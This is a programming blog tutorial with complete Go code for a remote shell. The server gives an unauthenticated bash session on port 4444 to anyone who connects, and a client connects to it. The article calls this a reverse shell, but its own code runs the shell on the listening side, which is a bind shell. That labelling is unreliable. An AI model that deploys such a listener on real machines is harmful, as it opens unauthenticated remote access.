Building a TCP Reverse Shell in Go

July 16, 2024

Building a TCP Reverse Shell in Go
Building a TCP Reverse Shell in Go

A reverse shell is one of the simplest networking programs you can write. It’s also one of the most instructive — you’ll touch TCP, process execution, I/O piping, and terminal handling in under 100 lines.

Estimated Reading Time : 10m

What a reverse shell is

In a normal SSH session, you connect to a remote machine and get a shell. In a reverse shell, the remote machine connects to you and gives you a shell on itself.

The flow:

  1. You start a listener on your machine (the server)
  2. The remote machine dials your listener (the client)
  3. The server spawns a shell process and pipes its I/O over the TCP connection
  4. You type commands on your machine, they execute on the remote machine

This is a common pattern in penetration testing and CTF challenges, where the target machine can make outbound connections but doesn’t accept inbound ones.

The server (listener)

The server listens for incoming connections and spawns a shell for each one:

package main

import (
    "fmt"
    "io"
    "log"
    "net"
    "os/exec"
    "time"

    "github.com/creack/pty"
)

func main() {
    ln, err := net.Listen("tcp", ":4444")
    if err != nil {
        log.Fatal(err)
    }
    defer ln.Close()
    log.Println("Listening on :4444")

    for {
        conn, err := ln.Accept()
        if err != nil {
            log.Println("accept error:", err)
            continue
        }
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    defer conn.Close()
    start := time.Now()
    log.Printf("Client connected: %s", conn.RemoteAddr())
    defer func() {
        log.Printf("Client disconnected: %s (session: %s)", conn.RemoteAddr(), time.Since(start))
    }()

    // Start a shell in a pseudo-terminal
    cmd := exec.Command("/bin/bash")
    ptmx, err := pty.Start(cmd)
    if err != nil {
        fmt.Fprintf(conn, "failed to start shell: %v\n", err)
        return
    }
    defer ptmx.Close()

    // Bidirectional pipe: connection ↔ shell
    errc := make(chan error, 2)

    go func() {
        _, err := io.Copy(ptmx, conn) // remote input → shell stdin
        errc <- err
    }()

    go func() {
        _, err := io.Copy(conn, ptmx) // shell stdout → remote output
        errc <- err
    }()

    // Wait for either direction to finish
    <-errc
}

Why a pseudo-terminal?

exec.Command alone gives you stdin/stdout pipes, but many programs behave differently when they detect they’re not running in a terminal — no color output, no line editing, no prompt. The creack/pty package creates a pseudo-terminal (PTY) that makes the shell think it’s running interactively.

Without the PTY, you’d get a functional shell but a degraded experience — no tab completion, no arrow keys, no clear.

The client (dialer)

The client connects to the server and turns your local terminal into a remote shell session:

package main

import (
    "io"
    "log"
    "net"
    "os"

    "golang.org/x/term"
)

func main() {
    conn, err := net.Dial("tcp", "localhost:4444")
    if err != nil {
        log.Fatal(err)
    }
    defer conn.Close()

    // Set terminal to raw mode for character-by-character I/O
    oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
    if err != nil {
        log.Fatal(err)
    }
    defer term.Restore(int(os.Stdin.Fd()), oldState)

    errc := make(chan error, 2)

    go func() {
        _, err := io.Copy(os.Stdout, conn) // remote output → local stdout
        errc <- err
    }()

    go func() {
        _, err := io.Copy(conn, os.Stdin) // local stdin → remote input
        errc <- err
    }()

    <-errc
}

Why raw mode?

By default, your terminal buffers input line-by-line and echoes characters back. In raw mode:

  • Every keystroke is sent immediately (no waiting for Enter)
  • The terminal doesn’t echo characters (the remote shell handles that via the PTY)
  • Special keys (Ctrl+C, arrow keys) are sent as raw bytes to the remote shell

Without raw mode, you’d have to press Enter after every command and you’d see double-echoed output.

term.Restore in the defer is critical — if you don’t restore the terminal state, your terminal session is broken after the program exits.

The I/O pattern

Both server and client use the same pattern — two goroutines running io.Copy in opposite directions:

goroutine 1: io.Copy(destination, source)  // one direction
goroutine 2: io.Copy(source, destination)  // other direction

io.Copy reads from the source until EOF or error, writing everything to the destination. Running two copies concurrently gives you full-duplex communication — you can type while output is streaming.

The errc channel collects errors from both goroutines. When either direction fails (connection closed, process exits), the function returns and cleanup runs.

Putting it together

Terminal 1 — start the server:

go run server.go
# Listening on :4444

Terminal 2 — connect:

go run client.go
# You now have a remote shell

You’ll see a bash prompt. Commands execute on the server machine, output appears on the client. Ctrl+D or exit ends the session.

Security considerations

This is educational code. A real reverse shell in a penetration test would also consider:

  • Encryption — this implementation sends everything in plaintext. Wrap the net.Conn in TLS for encrypted communication.
  • Authentication — anyone who connects to the listener gets a shell. Add a handshake or shared secret.
  • Signal handling — Ctrl+C in the client should be forwarded to the remote shell, not kill the client process. Raw mode handles this, but test edge cases.
  • Cleanup — if the connection drops unexpectedly, make sure the shell process is killed. The deferred ptmx.Close() handles this since the PTY closing sends SIGHUP to the child process.

What you’ve learned

This small program touches several fundamental concepts:

  • TCP networkingnet.Listen, net.Dial, net.Conn
  • Process executionexec.Command, pseudo-terminals
  • Concurrent I/O — goroutines with io.Copy for bidirectional streaming
  • Terminal handling — raw mode, state restoration

The pattern of two io.Copy goroutines bridging a network connection to a local process shows up everywhere — proxies, tunnels, port forwarding. Once you understand it here, you’ll recognize it in much larger systems.